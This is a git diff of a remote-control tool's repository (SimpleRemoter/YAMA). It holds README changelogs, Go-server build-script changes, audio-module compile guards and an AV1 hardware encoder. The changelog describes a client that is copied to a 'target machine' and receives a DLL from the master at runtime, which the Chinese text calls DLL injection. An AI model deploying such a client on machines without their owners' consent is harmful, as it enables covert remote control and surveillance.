2. **Start the master** — run `YAMA.exe` (or `server_linux_amd64` on Linux), enter the license info
|
2. **Start the master** — run `YAMA.exe` (or `server_linux_amd64` on Linux), enter the license info
|
||||||
3. **Generate a client** — click *Build* in the toolbar, configure server IP / port
|
3. **Generate a client** — click *Build* in the toolbar, configure server IP / port
|
||||||
4. **Deploy the client** — copy to the target machine and run it
|
4. **Deploy the client** — copy to the target machine and run it
|
||||||
@@ -357,6 +357,35 @@ Valid : 2026-02-01 to 2028-02-01
|
|||||||
|
|
||||||
## Changelog
|
## Changelog
|
||||||
|
|
||||||
|
### v1.3.5 (2026.5.31)
|
||||||
|
|
||||||
|
**Hardware encoding expansion (H.264 / AV1) & multi-tenant license hardening & FRP sub-master automation**
|
||||||
|
|
||||||
|
**New features:**
|
||||||
|
- **Client hardware encoding**: new `CFFmpegH264Encoder` / `CFFmpegAV1Encoder` on the FFmpeg path, driving NVENC / Quick Sync / AMF GPU encoders; `EncoderFactory` picks the best available encoder at runtime
|
||||||
|
- **Skip-encode on identical frames**: capture layer compares consecutive frames and skips both encode and transmit when the picture is static — hardware encoders no longer get fed duplicate frames during idle desktops
|
||||||
|
- **Menu-driven compress / extract**: custom file + folder picker (`ZstaPickerDlg`) lets you select a mixed directory tree on the remote host to zip up, or extract an archive to a target path
|
||||||
|
- **Auto-launch frp client for sub-masters**: when upstream issues a V2 license, frp config is shipped alongside it; the sub-master connects to the relay automatically with no manual `frpc.toml`
|
||||||
|
- **Compliance-tailorable build**: `DISABLE_X264` / `DISABLE_FFMPEG` build flags produce binaries with zero x264 / FFmpeg dependency without touching source; paired with `LICENSE-THIRD-PARTY.txt`
|
||||||
|
|
||||||
|
**Improvements:**
|
||||||
|
- **Multi-tenant license server hardening**: `licenses.ini` hot path now has a recursive mutex + 30s throttle; write rate dropped from 0.6 → 0.07/sec (extrapolated to 100 online targets: ~160 → ~3.3 writes/sec). Closes the read-modify-write race that caused "preset renewal quota silently disappears"
|
||||||
|
- **`licenses.ini` IP list 4KB truncation fix**: segmented writes prevent the tail of large IP histories from being silently dropped by `WritePrivateProfileString`'s 4KB single-value cap
|
||||||
|
- **`BindType` enforced on SN import**: offline / online / trial SNs can no longer be cross-imported into the wrong bucket
|
||||||
|
- **Client SCLoader slim-down**: removed `SCLoader.cpp` (10K lines of hard-coded stub); the client now uses the DLL delivered by the master at runtime
|
||||||
|
- **Client logger graceful shutdown**: drains queued log lines on exit and records the exit signal — after a restart you still have the last 1-2 seconds of context
|
||||||
|
- **IOCPClient early-packet guard**: packets that arrive before `setManagerCallBack` no longer trigger a null-callback crash (startup race)
|
||||||
|
- **Multi-monitor trace-cursor position fix & MJPEG playback flip fix**: trace cursor coordinates corrected for cross-monitor capture; MJPEG upside-down playback fixed and 0-byte AVI residue removed on encoder-open failure
|
||||||
|
- **FRP `privilegeKey` switched to UTC**: master / relay / client across different time zones no longer reject each other's frp auth because of local-time skew
|
||||||
|
- **Linux client `install.sh` / `uninstall.sh`**: one-shot install / uninstall scripts, on par with macOS
|
||||||
|
- **Go server build pipeline**: `build.ps1` / `build.cmd` now build the Go master as part of the main build
|
||||||
|
- **Release / Download links migrated to Gitea**: v1.3.4+ is no longer published to GitHub
|
||||||
|
|
||||||
|
**Bug fixes:**
|
||||||
|
- Web file manager touch double-click unreliability: move threshold widened to avoid spurious drag detection, plus two sequential `click` events (20ms apart) instead of the non-standard `dblclick` — fixes folder rename / unresponsive clicks on Windows, Linux, and macOS
|
||||||
|
- AUTH packet to sub-master used the wrong password generation path, causing sub-masters to fail authentication every time
|
||||||
|
- Trial SN was being routed through the V2 / V1 license-issue branch
|
||||||
|
|
||||||
### v1.3.4 (2026.5.20)
|
### v1.3.4 (2026.5.20)
|
||||||
|
|
||||||
**Go master & full-platform master loop & Linux/macOS clipboard**
|
**Go master & full-platform master loop & Linux/macOS clipboard**
|
||||||
|
|||||||
39
ReadMe_TW.md
39
ReadMe_TW.md
@@ -9,8 +9,8 @@
|
|||||||
<a href="https://github.com/yuanyuanxiang/SimpleRemoter/network/members">
|
<a href="https://github.com/yuanyuanxiang/SimpleRemoter/network/members">
|
||||||
<img src="https://img.shields.io/github/forks/yuanyuanxiang/SimpleRemoter?style=flat-square&logo=github" alt="GitHub Forks">
|
<img src="https://img.shields.io/github/forks/yuanyuanxiang/SimpleRemoter?style=flat-square&logo=github" alt="GitHub Forks">
|
||||||
</a>
|
</a>
|
||||||
<a href="https://github.com/yuanyuanxiang/SimpleRemoter/releases">
|
<a href="https://git.simpleremoter.com/yuanyuanxiang/SimpleRemoter/releases">
|
||||||
<img src="https://img.shields.io/github/v/release/yuanyuanxiang/SimpleRemoter?style=flat-square" alt="GitHub Release">
|
<img src="https://img.shields.io/gitea/v/release/yuanyuanxiang/SimpleRemoter?gitea_url=https%3A%2F%2Fgit.simpleremoter.com&style=flat-square&logo=gitea" alt="Gitea Release">
|
||||||
</a>
|
</a>
|
||||||
<img src="https://img.shields.io/badge/client-Windows%20%7C%20Linux%20%7C%20macOS-blue?style=flat-square" alt="Client Platforms">
|
<img src="https://img.shields.io/badge/client-Windows%20%7C%20Linux%20%7C%20macOS-blue?style=flat-square" alt="Client Platforms">
|
||||||
<img src="https://img.shields.io/badge/server-Windows%20%7C%20Linux%20%7C%20macOS-success?style=flat-square" alt="Server Platforms">
|
<img src="https://img.shields.io/badge/server-Windows%20%7C%20Linux%20%7C%20macOS-success?style=flat-square" alt="Server Platforms">
|
||||||
@@ -19,8 +19,8 @@
|
|||||||
</p>
|
</p>
|
||||||
|
|
||||||
<p align="center">
|
<p align="center">
|
||||||
<a href="https://github.com/yuanyuanxiang/SimpleRemoter/releases/latest">
|
<a href="https://git.simpleremoter.com/yuanyuanxiang/SimpleRemoter/releases/latest">
|
||||||
<img src="https://img.shields.io/badge/Download-最新版本-2ea44f?style=for-the-badge&logo=github" alt="Download Latest">
|
<img src="https://img.shields.io/badge/Download-最新版本-2ea44f?style=for-the-badge&logo=gitea" alt="Download Latest">
|
||||||
</a>
|
</a>
|
||||||
</p>
|
</p>
|
||||||
|
|
||||||
@@ -291,7 +291,7 @@
|
|||||||
|
|
||||||
無需編譯,下載即用:
|
無需編譯,下載即用:
|
||||||
|
|
||||||
1. **下載發行版** - 從 [Releases](https://github.com/yuanyuanxiang/SimpleRemoter/releases/latest) 下載最新版本
|
1. **下載發行版** - 從 [Releases](https://git.simpleremoter.com/yuanyuanxiang/SimpleRemoter/releases/latest) 下載最新版本
|
||||||
2. **啟動主控** - 執行 `YAMA.exe`(或 Linux 上的 `server_linux_amd64`),輸入授權資訊
|
2. **啟動主控** - 執行 `YAMA.exe`(或 Linux 上的 `server_linux_amd64`),輸入授權資訊
|
||||||
3. **生成用戶端** - 工具列「生成」設定伺服器 IP 和埠
|
3. **生成用戶端** - 工具列「生成」設定伺服器 IP 和埠
|
||||||
4. **部署用戶端** - 複製到目標機器執行
|
4. **部署用戶端** - 複製到目標機器執行
|
||||||
@@ -357,6 +357,35 @@ nohup ./server_linux_amd64 --port 6543 --http-port 9001 > yama.log 2>&1 &
|
|||||||
|
|
||||||
## 更新日誌
|
## 更新日誌
|
||||||
|
|
||||||
|
### v1.3.5 (2026.5.31)
|
||||||
|
|
||||||
|
**硬體編碼擴充(H.264 / AV1)& 多客戶授權生產化 & FRP 子級自動化**
|
||||||
|
|
||||||
|
**新功能:**
|
||||||
|
- **用戶端硬體編碼**:新增 FFmpeg 路徑的 `CFFmpegH264Encoder` / `CFFmpegAV1Encoder`,可呼叫 NVENC / Quick Sync / AMF 等 GPU 編碼器;`EncoderFactory` 執行時自動優選
|
||||||
|
- **靜畫跳編碼**:擷取層比對前後影格,完全相同時跳過編碼與傳輸——硬體編碼器在靜畫時不再被強行餵入相同影格
|
||||||
|
- **選單驅動的壓縮 / 解壓**:自訂檔案 + 資料夾選擇器(`ZstaPickerDlg`),可從遠端主機直接選混合目錄樹打包或解壓到目標路徑
|
||||||
|
- **下級主控自動啟動 frp client**:上級簽發 V2 授權時一併下發 frp 設定,子級主控啟動即接通中繼鏈路,無需人工設定 `frpc.toml`
|
||||||
|
- **合規可裁剪建置**:`DISABLE_X264` / `DISABLE_FFMPEG` 編譯開關,可在不動原始碼的前提下產出完全不含 x264 / FFmpeg 的二進位,搭配 `LICENSE-THIRD-PARTY.txt`
|
||||||
|
|
||||||
|
**改進:**
|
||||||
|
- **多客戶授權伺服端硬化**:`licenses.ini` hot-path 互斥鎖 + 30s 節流,寫入頻率從 0.6 → 0.07 次/秒(外推 100 在線:~160 → ~3.3 次/秒);閉環「預設續期配額消失」的 read-modify-write 競態
|
||||||
|
- **`licenses.ini` IP 清單 4KB 截斷修復**:分段寫入避免溢出尾部被永久丟棄
|
||||||
|
- **匯入 SN 按 `BindType` 嚴格校驗**:避免離線版 / 連線版 / 試用版 SN 串庫
|
||||||
|
- **用戶端 SCLoader 大瘦身**:移除一萬行硬編碼 stub(`SCLoader.cpp`),改用主控執行時下發 DLL 注入
|
||||||
|
- **用戶端 logger 優雅退出**:程序結束時刷出佇列裡的日誌並記錄退出訊號
|
||||||
|
- **IOCPClient 早期封包防護**:`setManagerCallBack` 之前抵達的封包不再觸發空回呼崩潰
|
||||||
|
- **多顯示器游標位置修正 & MJPEG 錄製翻轉修復**:trace cursor 跨螢幕座標系修正;MJPEG 上下顛倒回放修正 + 編碼失敗 0 位元組 AVI 殘留清理
|
||||||
|
- **FRP `privilegeKey` 改用 UTC 時間戳**:跨時區主控 / 中繼 / 用戶端不再因本地時區讓 frp auth 失效
|
||||||
|
- **Linux 用戶端 `install.sh` / `uninstall.sh`**:補齊一鍵部署 / 解除安裝指令稿
|
||||||
|
- **Go 伺服端建置管線**:`build.ps1` / `build.cmd` 把 Go 主控納入主建置流程
|
||||||
|
- **Release / Download 連結全面遷移到 Gitea**:v1.3.4+ 不再發行到 GitHub
|
||||||
|
|
||||||
|
**Bug 修復:**
|
||||||
|
- Web 檔案管理觸控雙擊不穩:觸控閾值放寬避免誤判拖曳 + 兩次 `click` 模擬實體雙擊;修復跨平台資料夾重新命名 / 點擊無回應
|
||||||
|
- 向 sub-master 發送 AUTH 時密碼產生路徑錯誤,下級始終認證失敗
|
||||||
|
- 試用 SN 誤進入 V2 / V1 授權下發分支
|
||||||
|
|
||||||
### v1.3.4 (2026.5.20)
|
### v1.3.4 (2026.5.20)
|
||||||
|
|
||||||
**Go 主控 & 全平台主控閉環 & Linux/macOS 用戶端剪貼簿**
|
**Go 主控 & 全平台主控閉環 & Linux/macOS 用戶端剪貼簿**
|
||||||
|
|||||||
@@ -1,6 +1,8 @@
|
|||||||
@echo off
|
@echo off
|
||||||
:: SimpleRemoter Quick Build Script
|
:: SimpleRemoter Quick Build Script
|
||||||
:: Usage: build.cmd [release|debug] [x64|x86|all] [server|clean|publish]
|
:: Usage: build.cmd [release|debug] [x64|x86|all] [server|clean|publish|go-server]
|
||||||
|
:: go-server Build Go fallback server only -> Bin\YamaGo_x64.exe
|
||||||
|
:: go-server publish Same, plus UPX --best compression
|
||||||
|
|
||||||
setlocal enabledelayedexpansion
|
setlocal enabledelayedexpansion
|
||||||
|
|
||||||
@@ -18,6 +20,7 @@ if /i "%~1"=="all" (set PLATFORM=all& shift& goto :parse_args)
|
|||||||
if /i "%~1"=="server" (set EXTRA_ARGS=!EXTRA_ARGS! -ServerOnly& shift& goto :parse_args)
|
if /i "%~1"=="server" (set EXTRA_ARGS=!EXTRA_ARGS! -ServerOnly& shift& goto :parse_args)
|
||||||
if /i "%~1"=="clean" (set EXTRA_ARGS=!EXTRA_ARGS! -Clean& shift& goto :parse_args)
|
if /i "%~1"=="clean" (set EXTRA_ARGS=!EXTRA_ARGS! -Clean& shift& goto :parse_args)
|
||||||
if /i "%~1"=="publish" (set EXTRA_ARGS=!EXTRA_ARGS! -Publish& shift& goto :parse_args)
|
if /i "%~1"=="publish" (set EXTRA_ARGS=!EXTRA_ARGS! -Publish& shift& goto :parse_args)
|
||||||
|
if /i "%~1"=="go-server" (set EXTRA_ARGS=!EXTRA_ARGS! -GoServer& shift& goto :parse_args)
|
||||||
echo Unknown argument: %~1
|
echo Unknown argument: %~1
|
||||||
shift
|
shift
|
||||||
goto :parse_args
|
goto :parse_args
|
||||||
|
|||||||
103
build.ps1
103
build.ps1
@@ -15,11 +15,110 @@ param(
|
|||||||
|
|
||||||
[switch]$ServerOnly, # Only build main server (Yama), skip client projects
|
[switch]$ServerOnly, # Only build main server (Yama), skip client projects
|
||||||
[switch]$Clean, # Clean before build
|
[switch]$Clean, # Clean before build
|
||||||
[switch]$Publish # Publish mode: rebuild all deps + x64 Release + UPX compress
|
[switch]$Publish, # Publish mode: rebuild all deps + x64 Release + UPX compress
|
||||||
|
[switch]$GoServer # Build Go fallback server (server/go) -> Bin/YamaGo_x64.exe
|
||||||
)
|
)
|
||||||
|
|
||||||
$ErrorActionPreference = "Stop"
|
$ErrorActionPreference = "Stop"
|
||||||
|
|
||||||
|
$rootDir = $PSScriptRoot
|
||||||
|
$binDir = Join-Path $rootDir "Bin"
|
||||||
|
$upxPath = Join-Path $rootDir "server\2015Remote\res\3rd\upx.exe"
|
||||||
|
|
||||||
|
# Build Go fallback server. No-op (with warning) if Go compiler is not installed.
|
||||||
|
# When -Compress is set, run UPX --best on the output (mirrors C++ publish flow).
|
||||||
|
function Build-GoServer {
|
||||||
|
param(
|
||||||
|
[string]$Configuration,
|
||||||
|
[switch]$Compress
|
||||||
|
)
|
||||||
|
|
||||||
|
Write-Host ""
|
||||||
|
Write-Host "Building Go server (server/go)..." -ForegroundColor Magenta
|
||||||
|
|
||||||
|
$goCmd = Get-Command go -ErrorAction SilentlyContinue
|
||||||
|
if (-not $goCmd) {
|
||||||
|
Write-Host "WARNING: Go compiler not found in PATH. Skipping Go server build." -ForegroundColor Yellow
|
||||||
|
Write-Host " Install from https://go.dev/dl/ and ensure 'go' is in PATH." -ForegroundColor DarkGray
|
||||||
|
return $false
|
||||||
|
}
|
||||||
|
|
||||||
|
Write-Host "Using Go: $($goCmd.Source)" -ForegroundColor Cyan
|
||||||
|
|
||||||
|
$goDir = Join-Path $rootDir "server\go"
|
||||||
|
if (-not (Test-Path $goDir)) {
|
||||||
|
Write-Host "ERROR: Go source directory not found at $goDir" -ForegroundColor Red
|
||||||
|
return $false
|
||||||
|
}
|
||||||
|
|
||||||
|
# Sync web assets (mirrors Makefile `sync` target — single source is server/web/index.html)
|
||||||
|
$webSrc = Join-Path $rootDir "server\web\index.html"
|
||||||
|
$webDstDir = Join-Path $goDir "web\assets"
|
||||||
|
if (Test-Path $webSrc) {
|
||||||
|
if (-not (Test-Path $webDstDir)) { New-Item -ItemType Directory -Path $webDstDir -Force | Out-Null }
|
||||||
|
Copy-Item -Path $webSrc -Destination (Join-Path $webDstDir "index.html") -Force
|
||||||
|
}
|
||||||
|
|
||||||
|
if (-not (Test-Path $binDir)) { New-Item -ItemType Directory -Path $binDir -Force | Out-Null }
|
||||||
|
|
||||||
|
$outFile = Join-Path $binDir "YamaGo_x64.exe"
|
||||||
|
# Release strips debug info for smaller binary; Debug keeps symbols.
|
||||||
|
$ldflags = if ($Configuration -eq "Debug") { "" } else { "-s -w" }
|
||||||
|
|
||||||
|
Push-Location $goDir
|
||||||
|
try {
|
||||||
|
$env:GOOS = "windows"
|
||||||
|
$env:GOARCH = "amd64"
|
||||||
|
if ($ldflags) {
|
||||||
|
& go build -ldflags $ldflags -o $outFile ./cmd
|
||||||
|
} else {
|
||||||
|
& go build -o $outFile ./cmd
|
||||||
|
}
|
||||||
|
$code = $LASTEXITCODE
|
||||||
|
} finally {
|
||||||
|
Pop-Location
|
||||||
|
}
|
||||||
|
|
||||||
|
if ($code -ne 0) {
|
||||||
|
Write-Host "ERROR: Go build failed (exit $code)" -ForegroundColor Red
|
||||||
|
return $false
|
||||||
|
}
|
||||||
|
|
||||||
|
$size = (Get-Item $outFile).Length / 1MB
|
||||||
|
Write-Host "OK: $outFile ($($size.ToString('F2')) MB)" -ForegroundColor Green
|
||||||
|
|
||||||
|
# In-place UPX compression. Failure is a warning, not an error — the
|
||||||
|
# uncompressed binary is still usable, and UPX occasionally refuses on
|
||||||
|
# certain PE sections.
|
||||||
|
if ($Compress) {
|
||||||
|
Write-Host ""
|
||||||
|
Write-Host "UPX compressing Go server..." -ForegroundColor Magenta
|
||||||
|
if (-not (Test-Path $upxPath)) {
|
||||||
|
Write-Host "WARNING: UPX not found at $upxPath — skipping compression" -ForegroundColor Yellow
|
||||||
|
} else {
|
||||||
|
$sizeBefore = (Get-Item $outFile).Length / 1MB
|
||||||
|
Write-Host " Before: $($sizeBefore.ToString('F2')) MB" -ForegroundColor DarkGray
|
||||||
|
& $upxPath --best $outFile
|
||||||
|
if ($LASTEXITCODE -ne 0) {
|
||||||
|
Write-Host "WARNING: UPX compression failed, uncompressed binary kept" -ForegroundColor Yellow
|
||||||
|
} else {
|
||||||
|
$sizeAfter = (Get-Item $outFile).Length / 1MB
|
||||||
|
$ratio = (1 - $sizeAfter / $sizeBefore) * 100
|
||||||
|
Write-Host " After: $($sizeAfter.ToString('F2')) MB (-$($ratio.ToString('F1'))%)" -ForegroundColor Green
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return $true
|
||||||
|
}
|
||||||
|
|
||||||
|
# Go-only fast path: skip MSBuild entirely. -Publish here means "compress the
|
||||||
|
# Go binary too" (not the full C++ publish flow).
|
||||||
|
if ($GoServer) {
|
||||||
|
$ok = Build-GoServer -Configuration $Config -Compress:$Publish
|
||||||
|
if (-not $ok) { exit 1 }
|
||||||
|
exit 0
|
||||||
|
}
|
||||||
|
|
||||||
# Find MSBuild (VS2019 or VS2022, including Insiders/Preview)
|
# Find MSBuild (VS2019 or VS2022, including Insiders/Preview)
|
||||||
# Order: Prefer installations with v142 toolset (VS2019) over VS2022 BuildTools
|
# Order: Prefer installations with v142 toolset (VS2019) over VS2022 BuildTools
|
||||||
$msBuildPaths = @(
|
$msBuildPaths = @(
|
||||||
@@ -72,9 +171,7 @@ elseif ($msBuild -match "\\18\\") { $vsYear = "2019 Insiders" }
|
|||||||
|
|
||||||
Write-Host "Using MSBuild: $msBuild" -ForegroundColor Cyan
|
Write-Host "Using MSBuild: $msBuild" -ForegroundColor Cyan
|
||||||
|
|
||||||
$rootDir = $PSScriptRoot
|
|
||||||
$slnFile = Join-Path $rootDir "YAMA.sln"
|
$slnFile = Join-Path $rootDir "YAMA.sln"
|
||||||
$upxPath = Join-Path $rootDir "server\2015Remote\res\3rd\upx.exe"
|
|
||||||
|
|
||||||
# Publish mode overrides
|
# Publish mode overrides
|
||||||
if ($Publish) {
|
if ($Publish) {
|
||||||
|
|||||||
@@ -8,6 +8,8 @@
|
|||||||
#include <Mmsystem.h>
|
#include <Mmsystem.h>
|
||||||
#include <IOSTREAM>
|
#include <IOSTREAM>
|
||||||
|
|
||||||
|
#if ENABLE_AUDIO_MNG
|
||||||
|
|
||||||
//////////////////////////////////////////////////////////////////////
|
//////////////////////////////////////////////////////////////////////
|
||||||
// Construction/Destruction
|
// Construction/Destruction
|
||||||
//////////////////////////////////////////////////////////////////////
|
//////////////////////////////////////////////////////////////////////
|
||||||
@@ -127,3 +129,4 @@ BOOL CAudioManager::Initialize()
|
|||||||
m_bIsWorking = TRUE;
|
m_bIsWorking = TRUE;
|
||||||
return TRUE;
|
return TRUE;
|
||||||
}
|
}
|
||||||
|
#endif
|
||||||
|
|||||||
@@ -12,6 +12,10 @@
|
|||||||
#include "Manager.h"
|
#include "Manager.h"
|
||||||
#include "Audio.h"
|
#include "Audio.h"
|
||||||
|
|
||||||
|
#if ENABLE_AUDIO_MNG==0
|
||||||
|
#define CAudioManager CManager
|
||||||
|
|
||||||
|
#else
|
||||||
|
|
||||||
class CAudioManager : public CManager
|
class CAudioManager : public CManager
|
||||||
{
|
{
|
||||||
@@ -28,5 +32,6 @@ public:
|
|||||||
CAudio* m_AudioObject;
|
CAudio* m_AudioObject;
|
||||||
LPBYTE szPacket; // 音频缓存区
|
LPBYTE szPacket; // 音频缓存区
|
||||||
};
|
};
|
||||||
|
#endif
|
||||||
|
|
||||||
#endif // !defined(AFX_AUDIOMANAGER_H__B47ECAB3_9810_4031_9E2E_BC34825CAD74__INCLUDED_)
|
#endif // !defined(AFX_AUDIOMANAGER_H__B47ECAB3_9810_4031_9E2E_BC34825CAD74__INCLUDED_)
|
||||||
|
|||||||
243
client/CFFmpegAV1Encoder.cpp
Normal file
243
client/CFFmpegAV1Encoder.cpp
Normal file
@@ -0,0 +1,243 @@
|
|||||||
|
#include "CFFmpegAV1Encoder.h"
|
||||||
|
#include "common/config.h"
|
||||||
|
#include "common/logger.h"
|
||||||
|
|
||||||
|
// 合规守护:DISABLE_FFMPEG_FOR_TEST=1 时整个实现移出编译单元(FFmpeg lib 已在
|
||||||
|
// CFFmpegH264Encoder.cpp 用同条件链接,此处不重复 #pragma comment)
|
||||||
|
#if defined(_WIN64) && !DISABLE_FFMPEG_FOR_TEST
|
||||||
|
|
||||||
|
extern "C" {
|
||||||
|
#include <libavcodec/avcodec.h>
|
||||||
|
#include <libavutil/opt.h>
|
||||||
|
#include <libavutil/imgutils.h>
|
||||||
|
#include <libyuv/libyuv.h>
|
||||||
|
}
|
||||||
|
|
||||||
|
#include <string.h>
|
||||||
|
|
||||||
|
// FFmpeg / 系统库已经由 CFFmpegH264Encoder.cpp 的 #pragma comment(lib) 引入。
|
||||||
|
// 这里不再重复声明(重复 #pragma comment 在同一 link 单元不冲突但冗余)。
|
||||||
|
|
||||||
|
// av_opt_set 包装:拼错的参数值会被 FFmpeg 静默忽略,包一层日志便于发现。
|
||||||
|
// 实现与 CFFmpegH264Encoder 内的 helper 相同;放成 static 文件内可见即可。
|
||||||
|
static void setOpt(void* obj, const char* name, const char* val, const char* backend) {
|
||||||
|
int rc = av_opt_set(obj, name, val, 0);
|
||||||
|
if (rc < 0) {
|
||||||
|
char errbuf[128] = {0};
|
||||||
|
av_strerror(rc, errbuf, sizeof(errbuf));
|
||||||
|
Mprintf("[WARN] av_opt_set('%s'='%s') on %s failed (%d): %s\n",
|
||||||
|
name, val, backend, rc, errbuf);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
static void setOptInt(void* obj, const char* name, int64_t val, const char* backend) {
|
||||||
|
int rc = av_opt_set_int(obj, name, val, 0);
|
||||||
|
if (rc < 0) {
|
||||||
|
char errbuf[128] = {0};
|
||||||
|
av_strerror(rc, errbuf, sizeof(errbuf));
|
||||||
|
Mprintf("[WARN] av_opt_set_int('%s'=%lld) on %s failed (%d): %s\n",
|
||||||
|
name, (long long)val, backend, rc, errbuf);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// AV1 硬编后端探测顺序,没有 av1_mf 兜底(FFmpeg 7.1 不支持)。
|
||||||
|
// 全失败时 EncoderFactory 自动回退到 H.264 路径,行为对称。
|
||||||
|
static const char* kAV1Backends[] = {
|
||||||
|
"av1_nvenc", // NVIDIA RTX 40 / 50 系(Ada Lovelace+)
|
||||||
|
"av1_amf", // AMD RX 7000+(RDNA 3+)
|
||||||
|
"av1_qsv", // Intel Arc 独显 / 部分 11 代+ 核显
|
||||||
|
};
|
||||||
|
|
||||||
|
CFFmpegAV1Encoder::CFFmpegAV1Encoder() = default;
|
||||||
|
|
||||||
|
CFFmpegAV1Encoder::~CFFmpegAV1Encoder() {
|
||||||
|
close();
|
||||||
|
}
|
||||||
|
|
||||||
|
void CFFmpegAV1Encoder::cleanupCodec() {
|
||||||
|
if (m_packet) { av_packet_free(&m_packet); m_packet = nullptr; }
|
||||||
|
if (m_frame) { av_frame_free(&m_frame); m_frame = nullptr; }
|
||||||
|
if (m_ctx) { avcodec_free_context(&m_ctx); m_ctx = nullptr; }
|
||||||
|
}
|
||||||
|
|
||||||
|
void CFFmpegAV1Encoder::close() {
|
||||||
|
cleanupCodec();
|
||||||
|
m_backend.clear();
|
||||||
|
m_pts = 0;
|
||||||
|
m_forceIDR = false;
|
||||||
|
}
|
||||||
|
|
||||||
|
bool CFFmpegAV1Encoder::open(const EncoderParams& params) {
|
||||||
|
close();
|
||||||
|
for (const char* name : kAV1Backends) {
|
||||||
|
if (tryOpenBackend(name, params)) {
|
||||||
|
m_backend = name;
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
cleanupCodec();
|
||||||
|
}
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
bool CFFmpegAV1Encoder::tryOpenBackend(const char* name, const EncoderParams& p) {
|
||||||
|
const AVCodec* codec = avcodec_find_encoder_by_name(name);
|
||||||
|
if (!codec) {
|
||||||
|
// AV1 硬编没注册 = 老 ffmpeg lib 不含 AV1 encoder(compress\ffmpeg 没启用 av1)
|
||||||
|
Mprintf("=> FFmpeg: AV1 encoder '%s' NOT in linked lib\n", name);
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
m_ctx = avcodec_alloc_context3(codec);
|
||||||
|
if (!m_ctx) {
|
||||||
|
Mprintf("=> FFmpeg: avcodec_alloc_context3('%s') failed\n", name);
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
m_ctx->width = p.width & ~1;
|
||||||
|
m_ctx->height = p.height & ~1;
|
||||||
|
m_ctx->time_base = AVRational{1, p.fps};
|
||||||
|
m_ctx->framerate = AVRational{p.fps, 1};
|
||||||
|
m_ctx->pix_fmt = AV_PIX_FMT_NV12;
|
||||||
|
m_ctx->gop_size = p.fps * (p.gop_seconds > 0 ? p.gop_seconds : 15);
|
||||||
|
m_ctx->max_b_frames = 0;
|
||||||
|
m_ctx->bit_rate = (int64_t)p.bitrate_kbps * 1000;
|
||||||
|
m_ctx->rc_max_rate = (int64_t)p.bitrate_kbps * 1500;
|
||||||
|
m_ctx->rc_buffer_size = (int)(p.bitrate_kbps * 1000);
|
||||||
|
|
||||||
|
// RC 策略与 H.264 路径对齐:peak-constrained VBR,远控静态画面省带宽。
|
||||||
|
if (strcmp(name, "av1_nvenc") == 0) {
|
||||||
|
// av1_nvenc preset p1~p7;远控 p5 兼顾质量与速度。
|
||||||
|
// tile-columns=1 把帧切两列,解码端并行更友好(浏览器 AV1 解码常用 SIMD/多线程)
|
||||||
|
setOpt(m_ctx->priv_data, "preset", "p5", name);
|
||||||
|
setOpt(m_ctx->priv_data, "tune", "ll", name);
|
||||||
|
setOpt(m_ctx->priv_data, "rc", "vbr", name);
|
||||||
|
setOpt(m_ctx->priv_data, "zerolatency", "1", name);
|
||||||
|
setOptInt(m_ctx->priv_data, "tile-columns", 1, name);
|
||||||
|
} else if (strcmp(name, "av1_amf") == 0) {
|
||||||
|
// av1_amf 选项命名与 h264_amf 大体一致,rc 同样支持 vbr_peak
|
||||||
|
// (见 ffmpeg -h encoder=av1_amf)。静态画面省码率四件套同 H.264 路径。
|
||||||
|
setOpt(m_ctx->priv_data, "usage", "lowlatency", name);
|
||||||
|
setOpt(m_ctx->priv_data, "quality", "quality", name);
|
||||||
|
setOpt(m_ctx->priv_data, "rc", "vbr_peak", name);
|
||||||
|
setOptInt(m_ctx->priv_data, "vbaq", 1, name);
|
||||||
|
setOptInt(m_ctx->priv_data, "preanalysis", 1, name);
|
||||||
|
setOptInt(m_ctx->priv_data, "filler_data", 0, name);
|
||||||
|
setOptInt(m_ctx->priv_data, "enforce_hrd", 0, name);
|
||||||
|
} else if (strcmp(name, "av1_qsv") == 0) {
|
||||||
|
// av1_qsv:bit_rate < max_rate 时自动 VBR
|
||||||
|
setOpt(m_ctx->priv_data, "preset", "slow", name);
|
||||||
|
setOptInt(m_ctx->priv_data, "async_depth", 1, name);
|
||||||
|
setOptInt(m_ctx->priv_data, "low_power", 0, name);
|
||||||
|
}
|
||||||
|
|
||||||
|
int ret = avcodec_open2(m_ctx, codec, nullptr);
|
||||||
|
if (ret < 0) {
|
||||||
|
// 找到了但开不起来:无对应 GPU / 驱动太旧 / 跨适配器
|
||||||
|
char errbuf[128] = {0};
|
||||||
|
av_strerror(ret, errbuf, sizeof(errbuf));
|
||||||
|
Mprintf("=> FFmpeg: avcodec_open2('%s') failed (%d): %s\n", name, ret, errbuf);
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
m_frame = av_frame_alloc();
|
||||||
|
if (!m_frame) return false;
|
||||||
|
m_frame->format = AV_PIX_FMT_NV12;
|
||||||
|
m_frame->width = m_ctx->width;
|
||||||
|
m_frame->height = m_ctx->height;
|
||||||
|
if (av_frame_get_buffer(m_frame, 32) < 0) {
|
||||||
|
Mprintf("=> FFmpeg: av_frame_get_buffer failed\n");
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
m_packet = av_packet_alloc();
|
||||||
|
return m_packet != nullptr;
|
||||||
|
}
|
||||||
|
|
||||||
|
void CFFmpegAV1Encoder::setBitrate(int kbps) {
|
||||||
|
if (!m_ctx) return;
|
||||||
|
m_ctx->bit_rate = (int64_t)kbps * 1000;
|
||||||
|
m_ctx->rc_max_rate = (int64_t)kbps * 1500;
|
||||||
|
m_ctx->rc_buffer_size = (int)(kbps * 1000);
|
||||||
|
// 同 H.264 路径:多数硬编不支持运行时改 bit_rate 让 ctx 立刻生效;
|
||||||
|
// 这里仅更新数值,下次 open 时生效。
|
||||||
|
}
|
||||||
|
|
||||||
|
int CFFmpegAV1Encoder::convertRGB24ToNV12(uint8_t* rgb, uint32_t stride,
|
||||||
|
uint32_t width, uint32_t height,
|
||||||
|
int direction)
|
||||||
|
{
|
||||||
|
int signed_height = direction * (int)height;
|
||||||
|
int w = (int)width;
|
||||||
|
int h = (int)height;
|
||||||
|
int y_size = w * h;
|
||||||
|
int uv_size = (w / 2) * (h / 2);
|
||||||
|
